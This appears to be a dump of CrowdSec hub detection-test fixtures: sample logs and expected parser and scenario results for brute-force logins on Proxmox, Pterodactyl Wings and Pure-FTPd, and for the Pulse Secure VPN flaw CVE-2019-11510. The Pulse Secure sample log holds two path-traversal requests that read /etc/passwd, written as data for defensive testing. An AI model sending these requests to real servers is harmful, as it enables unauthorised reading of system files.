results["s01-parse"]["fulljackz/proxmox-logs"][19].Evt.Parsed["realm"] == "pam" results["s01-parse"]["fulljackz/proxmox-logs"][19].Evt.Parsed["source_user"] == "root" results["s01-parse"]["fulljackz/proxmox-logs"][19].Evt.Parsed["timestamp"] == "Jan 4 17:34:12" results["s01-parse"]["fulljackz/proxmox-logs"][19].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/proxmox-logs"][19].Evt.Parsed["message"] == "authentication failure; rhost=::ffff:172.21.10.2 user=root@pam msg=Authentication failure" results["s01-parse"]["fulljackz/proxmox-logs"][19].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/proxmox-logs"][19].Evt.Meta["log_type"] == "pve_failed-auth" results["s01-parse"]["fulljackz/proxmox-logs"][19].Evt.Meta["machine"] == "hypervisor" results["s01-parse"]["fulljackz/proxmox-logs"][19].Evt.Meta["service"] == "pvedaemon" results["s01-parse"]["fulljackz/proxmox-logs"][19].Evt.Meta["source_ip"] == "::ffff:172.21.10.2" results["s01-parse"]["fulljackz/proxmox-logs"][19].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/proxmox-logs"][19].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s01-parse"]["fulljackz/proxmox-logs"][20].Success == false len(results["success"][""]) == 0 hub1/.tests/proxmox-logs/proxmox-logs.log000066400000000000000000000051471437532772500210220ustar00rootroot00000000000000Jan 4 17:34:01 hypervisor pvedaemon[3663339]: authentication failure; rhost=2001:bc8:628:1811::1 user=toor@pam msg=no such user ('toor@pam') Jan 4 17:34:02 hypervisor pvedaemon[3483744]: authentication failure; rhost=2001:bc8:628:1811::1 user=root@pam msg=Authentication failure Jan 4 17:34:02 hypervsior pvedaemon[3483744]: authentication failure; rhost=2001:bc8:628:1811::1 user=root@pam msg=Authentication failure Jan 4 17:34:03 hypervisor pvedaemon[3483744]: authentication failure; rhost=2001:bc8:628:1811::1 user=root@pam msg=Authentication failure Jan 4 17:34:03 hypervisor pvedaemon[2891825]: successful auth for user 'root@pam' Jan 4 17:34:03 hypervisor pvedaemon[3483744]: authentication failure; rhost=2001:bc8:628:1811::1 user=root@pam msg=Authentication failure Jan 4 17:34:03 hypervisor pvedaemon[3483744]: authentication failure; rhost=2001:bc8:628:1811::1 user=root@pam msg=Authentication failure Jan 4 17:34:04 hypervisor pvedaemon[3663339]: authentication failure; rhost=1.1.1.1 user=toor@pam msg=no such user ('toor@pam') Jan 4 17:34:07 hypervisor pvedaemon[3483744]: authentication failure; rhost=::ffff:172.21.10.2 user=root@pam msg=Authentication failure Jan 4 17:34:04 hypervisor pvedaemon[3663339]: authentication failure; rhost=1.1.1.1 user=toor@pam msg=no such user ('a@pam') Jan 4 17:34:04 hypervisor pvedaemon[3663339]: authentication failure; rhost=1.1.1.1 user=toor@pam msg=no such user ('b@pam') Jan 4 17:34:04 hypervisor pvedaemon[3663339]: authentication failure; rhost=1.1.1.1 user=toor@pam msg=no such user ('c@pam') Jan 4 17:34:04 hypervisor pvedaemon[3663339]: authentication failure; rhost=1.1.1.1 user=toor@pam msg=no such user ('d@pam') Jan 4 17:34:04 hypervisor pvedaemon[3663339]: authentication failure; rhost=1.1.1.1 user=toor@pam msg=no such user ('e@pam') Jan 4 17:34:08 hypervisor pvedaemon[2891825]: successful auth for user 'root@pam' Jan 4 17:34:08 hypervisor pvedaemon[3663339]: authentication failure; rhost=::ffff:172.21.10.2 user=toor@pam msg=no such user ('toor@pam') Jan 4 17:34:09 hypervisor pvedaemon[3483744]: authentication failure; rhost=::ffff:172.21.10.2 user=root@pam msg=Authentication failure Jan 4 17:34:11 hypervisor pvedaemon[2891825]: successful auth for user 'root@pam' Jan 4 17:34:08 hypervisor pvedaemon[3663339]: authentication failure; rhost=::ffff:172.21.10.2 user=toor@pam msg=no such user ('toor@pam') Jan 4 17:34:12 hypervisor pvedaemon[3483744]: authentication failure; rhost=::ffff:172.21.10.2 user=root@pam msg=Authentication failure Jan 4 17:34:13 hypervisor pvedaemon[2891825]: successful auth for user 'root@pam' hub1/.tests/proxmox-logs/scenario.assert000066400000000000000000000000221437532772500206520ustar00rootroot00000000000000len(results) == 0 hub1/.tests/pterodactyl-wings-bf/000077500000000000000000000000001437532772500172205ustar00rootroot00000000000000hub1/.tests/pterodactyl-wings-bf/config.yaml000066400000000000000000000004511437532772500213510ustar00rootroot00000000000000parsers: - ./parsers/s01-parse/lourys/pterodactyl-wings-logs.yaml - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - "./scenarios/lourys/pterodactyl-wings-bf.yaml" postoverflows: - "" log_file: pterodactyl-wings-bf.log log_type: pterodactyl labels: {} ignore_parsers: false hub1/.tests/pterodactyl-wings-bf/parser.assert000066400000000000000000000262001437532772500217370ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 3 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "pterodactyl" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "WARN: [Jul 2 05:05:24.643] failed to validate user credentials (invalid format) ip=10.56.3.156:28050 subsystem=sftp username=admin" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "pterodactyl-wings-bf.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "WARN: [Jul 2 05:14:17.037] failed to validate user credentials (invalid username or password) ip=10.23.89.10:30122 subsystem=sftp username=test.3f22e5c8" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "pterodactyl" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "pterodactyl-wings-bf.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][2].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["message"] == "WARN: [Jul 2 05:33:46.809] failed to validate user credentials (invalid format) ip=10.56.3.156:43244 subsystem=sftp username=administrator" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["program"] == "pterodactyl" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_path"] == "pterodactyl-wings-bf.log" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_type"] == "file" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 3 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == false len(results["s01-parse"]["lourys/pterodactyl-wings-logs"]) == 3 results["s01-parse"]["lourys/pterodactyl-wings-logs"][0].Success == true results["s01-parse"]["lourys/pterodactyl-wings-logs"][0].Evt.Parsed["source_ip"] == "10.56.3.156" results["s01-parse"]["lourys/pterodactyl-wings-logs"][0].Evt.Parsed["source_port"] == "28050" results["s01-parse"]["lourys/pterodactyl-wings-logs"][0].Evt.Parsed["time"] == "Jul 2 05:05:24.643" results["s01-parse"]["lourys/pterodactyl-wings-logs"][0].Evt.Parsed["username"] == "admin" results["s01-parse"]["lourys/pterodactyl-wings-logs"][0].Evt.Parsed["message"] == "WARN: [Jul 2 05:05:24.643] failed to validate user credentials (invalid format) ip=10.56.3.156:28050 subsystem=sftp username=admin" results["s01-parse"]["lourys/pterodactyl-wings-logs"][0].Evt.Parsed["program"] == "pterodactyl" results["s01-parse"]["lourys/pterodactyl-wings-logs"][0].Evt.Meta["datasource_path"] == "pterodactyl-wings-bf.log" results["s01-parse"]["lourys/pterodactyl-wings-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["lourys/pterodactyl-wings-logs"][0].Evt.Meta["log_type"] == "pterodactly_wings_invalid_format" results["s01-parse"]["lourys/pterodactyl-wings-logs"][0].Evt.Meta["service"] == "pterodactyl" results["s01-parse"]["lourys/pterodactyl-wings-logs"][0].Evt.Meta["source_ip"] == "10.56.3.156" results["s01-parse"]["lourys/pterodactyl-wings-logs"][0].Evt.Meta["target_user"] == "admin" results["s01-parse"]["lourys/pterodactyl-wings-logs"][1].Success == true results["s01-parse"]["lourys/pterodactyl-wings-logs"][1].Evt.Parsed["program"] == "pterodactyl" results["s01-parse"]["lourys/pterodactyl-wings-logs"][1].Evt.Parsed["source_ip"] == "10.23.89.10" results["s01-parse"]["lourys/pterodactyl-wings-logs"][1].Evt.Parsed["source_port"] == "30122" results["s01-parse"]["lourys/pterodactyl-wings-logs"][1].Evt.Parsed["time"] == "Jul 2 05:14:17.037" results["s01-parse"]["lourys/pterodactyl-wings-logs"][1].Evt.Parsed["username"] == "test.3f22e5c8" results["s01-parse"]["lourys/pterodactyl-wings-logs"][1].Evt.Parsed["message"] == "WARN: [Jul 2 05:14:17.037] failed to validate user credentials (invalid username or password) ip=10.23.89.10:30122 subsystem=sftp username=test.3f22e5c8" results["s01-parse"]["lourys/pterodactyl-wings-logs"][1].Evt.Meta["target_user"] == "test.3f22e5c8" results["s01-parse"]["lourys/pterodactyl-wings-logs"][1].Evt.Meta["datasource_path"] == "pterodactyl-wings-bf.log" results["s01-parse"]["lourys/pterodactyl-wings-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["lourys/pterodactyl-wings-logs"][1].Evt.Meta["log_type"] == "pterodactly_wings_invalid_username_or_password" results["s01-parse"]["lourys/pterodactyl-wings-logs"][1].Evt.Meta["service"] == "pterodactyl" results["s01-parse"]["lourys/pterodactyl-wings-logs"][1].Evt.Meta["source_ip"] == "10.23.89.10" results["s01-parse"]["lourys/pterodactyl-wings-logs"][2].Success == true results["s01-parse"]["lourys/pterodactyl-wings-logs"][2].Evt.Parsed["time"] == "Jul 2 05:33:46.809" results["s01-parse"]["lourys/pterodactyl-wings-logs"][2].Evt.Parsed["username"] == "administrator" results["s01-parse"]["lourys/pterodactyl-wings-logs"][2].Evt.Parsed["message"] == "WARN: [Jul 2 05:33:46.809] failed to validate user credentials (invalid format) ip=10.56.3.156:43244 subsystem=sftp username=administrator" results["s01-parse"]["lourys/pterodactyl-wings-logs"][2].Evt.Parsed["program"] == "pterodactyl" results["s01-parse"]["lourys/pterodactyl-wings-logs"][2].Evt.Parsed["source_ip"] == "10.56.3.156" results["s01-parse"]["lourys/pterodactyl-wings-logs"][2].Evt.Parsed["source_port"] == "43244" results["s01-parse"]["lourys/pterodactyl-wings-logs"][2].Evt.Meta["datasource_path"] == "pterodactyl-wings-bf.log" results["s01-parse"]["lourys/pterodactyl-wings-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["lourys/pterodactyl-wings-logs"][2].Evt.Meta["log_type"] == "pterodactly_wings_invalid_format" results["s01-parse"]["lourys/pterodactyl-wings-logs"][2].Evt.Meta["service"] == "pterodactyl" results["s01-parse"]["lourys/pterodactyl-wings-logs"][2].Evt.Meta["source_ip"] == "10.56.3.156" results["s01-parse"]["lourys/pterodactyl-wings-logs"][2].Evt.Meta["target_user"] == "administrator" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 3 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "WARN: [Jul 2 05:05:24.643] failed to validate user credentials (invalid format) ip=10.56.3.156:28050 subsystem=sftp username=admin" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "pterodactyl" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["source_ip"] == "10.56.3.156" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["source_port"] == "28050" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["time"] == "Jul 2 05:05:24.643" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["username"] == "admin" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "pterodactly_wings_invalid_format" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "pterodactyl" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "10.56.3.156" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["target_user"] == "admin" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"][4:] == "-07-02T05:05:24.643Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "pterodactyl-wings-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"][4:] == "-07-02T05:05:24.643Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["time"] == "Jul 2 05:14:17.037" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["username"] == "test.3f22e5c8" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "WARN: [Jul 2 05:14:17.037] failed to validate user credentials (invalid username or password) ip=10.23.89.10:30122 subsystem=sftp username=test.3f22e5c8" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "pterodactyl" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["source_ip"] == "10.23.89.10" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["source_port"] == "30122" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "10.23.89.10" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["target_user"] == "test.3f22e5c8" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"][4:] == "-07-02T05:14:17.037Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "pterodactyl-wings-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "pterodactly_wings_invalid_username_or_password" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["service"] == "pterodactyl" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"][4:] == "-07-02T05:14:17.037Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["source_port"] == "43244" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["time"] == "Jul 2 05:33:46.809" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["username"] == "administrator" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["message"] == "WARN: [Jul 2 05:33:46.809] failed to validate user credentials (invalid format) ip=10.56.3.156:43244 subsystem=sftp username=administrator" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["program"] == "pterodactyl" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["source_ip"] == "10.56.3.156" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["service"] == "pterodactyl" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["source_ip"] == "10.56.3.156" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["target_user"] == "administrator" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["timestamp"][4:] == "-07-02T05:33:46.809Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_path"] == "pterodactyl-wings-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["log_type"] == "pterodactly_wings_invalid_format" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Enriched["MarshaledTime"][4:] == "-07-02T05:33:46.809Z" len(results["success"][""]) == 0 hub1/.tests/pterodactyl-wings-bf/pterodactyl-wings-bf.log000066400000000000000000000006511437532772500237710ustar00rootroot00000000000000WARN: [Jul 2 05:05:24.643] failed to validate user credentials (invalid format) ip=10.56.3.156:28050 subsystem=sftp username=admin WARN: [Jul 2 05:14:17.037] failed to validate user credentials (invalid username or password) ip=10.23.89.10:30122 subsystem=sftp username=test.3f22e5c8 WARN: [Jul 2 05:33:46.809] failed to validate user credentials (invalid format) ip=10.56.3.156:43244 subsystem=sftp username=administratorhub1/.tests/pterodactyl-wings-bf/scenario.assert000066400000000000000000000062261437532772500222540ustar00rootroot00000000000000len(results) == 2 "10.56.3.156" in results[0].Overflow.GetSources() results[0].Overflow.Sources["10.56.3.156"].IP == "10.56.3.156" results[0].Overflow.Sources["10.56.3.156"].Range == "" results[0].Overflow.Sources["10.56.3.156"].GetScope() == "Ip" results[0].Overflow.Sources["10.56.3.156"].GetValue() == "10.56.3.156" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "pterodactyl-wings-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "pterodactly_wings_invalid_format" results[0].Overflow.Alert.Events[0].GetMeta("service") == "pterodactyl" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "10.56.3.156" results[0].Overflow.Alert.Events[0].GetMeta("target_user") == "admin" results[0].Overflow.Alert.Events[0].GetMeta("timestamp")[4:] == "-07-02T05:05:24.643Z" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "pterodactyl-wings-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "pterodactly_wings_invalid_format" results[0].Overflow.Alert.Events[1].GetMeta("service") == "pterodactyl" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "10.56.3.156" results[0].Overflow.Alert.Events[1].GetMeta("target_user") == "admin" results[0].Overflow.Alert.Events[1].GetMeta("timestamp")[4:] == "-07-02T05:05:24.643Z" results[0].Overflow.Alert.GetScenario() == "lourys/pterodactyl-wings-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 2 "10.56.3.156" in results[1].Overflow.GetSources() results[1].Overflow.Sources["10.56.3.156"].IP == "10.56.3.156" results[1].Overflow.Sources["10.56.3.156"].Range == "" results[1].Overflow.Sources["10.56.3.156"].GetScope() == "Ip" results[1].Overflow.Sources["10.56.3.156"].GetValue() == "10.56.3.156" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "pterodactyl-wings-bf.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "pterodactly_wings_invalid_format" results[1].Overflow.Alert.Events[0].GetMeta("service") == "pterodactyl" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "10.56.3.156" results[1].Overflow.Alert.Events[0].GetMeta("target_user") == "administrator" results[1].Overflow.Alert.Events[0].GetMeta("timestamp")[4:] == "-07-02T05:33:46.809Z" results[1].Overflow.Alert.Events[1].GetMeta("datasource_path") == "pterodactyl-wings-bf.log" results[1].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[1].GetMeta("log_type") == "pterodactly_wings_invalid_format" results[1].Overflow.Alert.Events[1].GetMeta("service") == "pterodactyl" results[1].Overflow.Alert.Events[1].GetMeta("source_ip") == "10.56.3.156" results[1].Overflow.Alert.Events[1].GetMeta("target_user") == "administrator" results[1].Overflow.Alert.Events[1].GetMeta("timestamp")[4:] == "-07-02T05:33:46.809Z" results[1].Overflow.Alert.GetScenario() == "lourys/pterodactyl-wings-bf" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 2 hub1/.tests/pulse-secure-sslvpn-cve-2019-11510/000077500000000000000000000000001437532772500207245ustar00rootroot00000000000000hub1/.tests/pulse-secure-sslvpn-cve-2019-11510/config.yaml000066400000000000000000000004451437532772500230600ustar00rootroot00000000000000parsers: - crowdsecurity/nginx-logs - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - ./scenarios/crowdsecurity/pulse-secure-sslvpn-cve-2019-11510.yaml postoverflows: - "" log_file: pulse-secure-sslvpn-cve-2019-11510.log log_type: nginx labels: {} ignore_parsers: true hub1/.tests/pulse-secure-sslvpn-cve-2019-11510/parser.assert000066400000000000000000000000001437532772500234310ustar00rootroot00000000000000hub1/.tests/pulse-secure-sslvpn-cve-2019-11510/pulse-secure-sslvpn-cve-2019-11510.log000066400000000000000000000005641437532772500272040ustar00rootroot00000000000000192.168.1.2 - - [08/Dec/2021:17:23:24 +0100] "GET /dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/ HTTP/1.1" 200 166 "-" "-" 192.168.1.3 - - [08/Dec/2021:17:23:24 +0100] "GET /dana-na/%2E%2E/dana/html5acc/guacamole/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/etc/passwd?/dana/html5acc/guacamole/ HTTP/1.1" 200 166 "-" "-" hub1/.tests/pulse-secure-sslvpn-cve-2019-11510/scenario.assert000066400000000000000000000047531437532772500237630ustar00rootroot00000000000000len(results) == 2 "192.168.1.3" in results[0].Overflow.GetSources() results[0].Overflow.Sources["192.168.1.3"].IP == "192.168.1.3" results[0].Overflow.Sources["192.168.1.3"].Range == "" results[0].Overflow.Sources["192.168.1.3"].GetScope() == "Ip" results[0].Overflow.Sources["192.168.1.3"].GetValue() == "192.168.1.3" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "pulse-secure-sslvpn-cve-2019-11510.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/dana-na/%2E%2E/dana/html5acc/guacamole/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/etc/passwd?/dana/html5acc/guacamole/" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "-" results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.1.3" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/pulse-secure-sslvpn-cve-2019-11510" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 1 "192.168.1.2" in results[1].Overflow.GetSources() results[1].Overflow.Sources["192.168.1.2"].IP == "192.168.1.2" results[1].Overflow.Sources["192.168.1.2"].Range == "" results[1].Overflow.Sources["192.168.1.2"].GetScope() == "Ip" results[1].Overflow.Sources["192.168.1.2"].GetValue() == "192.168.1.2" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "pulse-secure-sslvpn-cve-2019-11510.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("http_path") == "/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/" results[1].Overflow.Alert.Events[0].GetMeta("http_status") == "200" results[1].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "-" results[1].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[1].Overflow.Alert.Events[0].GetMeta("service") == "http" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.1.2" results[1].Overflow.Alert.GetScenario() == "crowdsecurity/pulse-secure-sslvpn-cve-2019-11510" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 1hub1/.tests/pureftpd-bf/000077500000000000000000000000001437532772500153725ustar00rootroot00000000000000hub1/.tests/pureftpd-bf/config.yaml000066400000000000000000000003431437532772500175230ustar00rootroot00000000000000parsers: - fulljackz/pureftpd-logs - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - fulljackz/pureftpd-bf postoverflows: - "" log_file: pureftpd-bf.log log_type: syslog labels: {} ignore_parsers: false hub1/.tests/pureftpd-bf/parser.assert000066400000000000000000001551421437532772500201210ustar00rootroot00000000000000 len(results) == 4 len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 16 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["program"] == "pure-ftpd" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["timestamp"] == "Jan 7 14:19:31" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["machine"] == "ftpcdr" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["program"] == "pure-ftpd" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["timestamp"] == "Jan 7 14:19:32" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["machine"] == "ftpcdr" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["program"] == "pure-ftpd" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["timestamp"] == "Jan 7 14:19:33" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["machine"] == "ftpcdr" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["program"] == "pure-ftpd" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["timestamp"] == "Jan 7 14:19:34" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Meta["machine"] == "ftpcdr" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["program"] == "pure-ftpd" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["timestamp"] == "Jan 7 14:19:35" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Meta["datasource_path"] == "pureftpd-bf.log" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Meta["machine"] == "ftpcdr" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["program"] == "pure-ftpd" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["timestamp"] == "Jan 7 14:19:36" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" 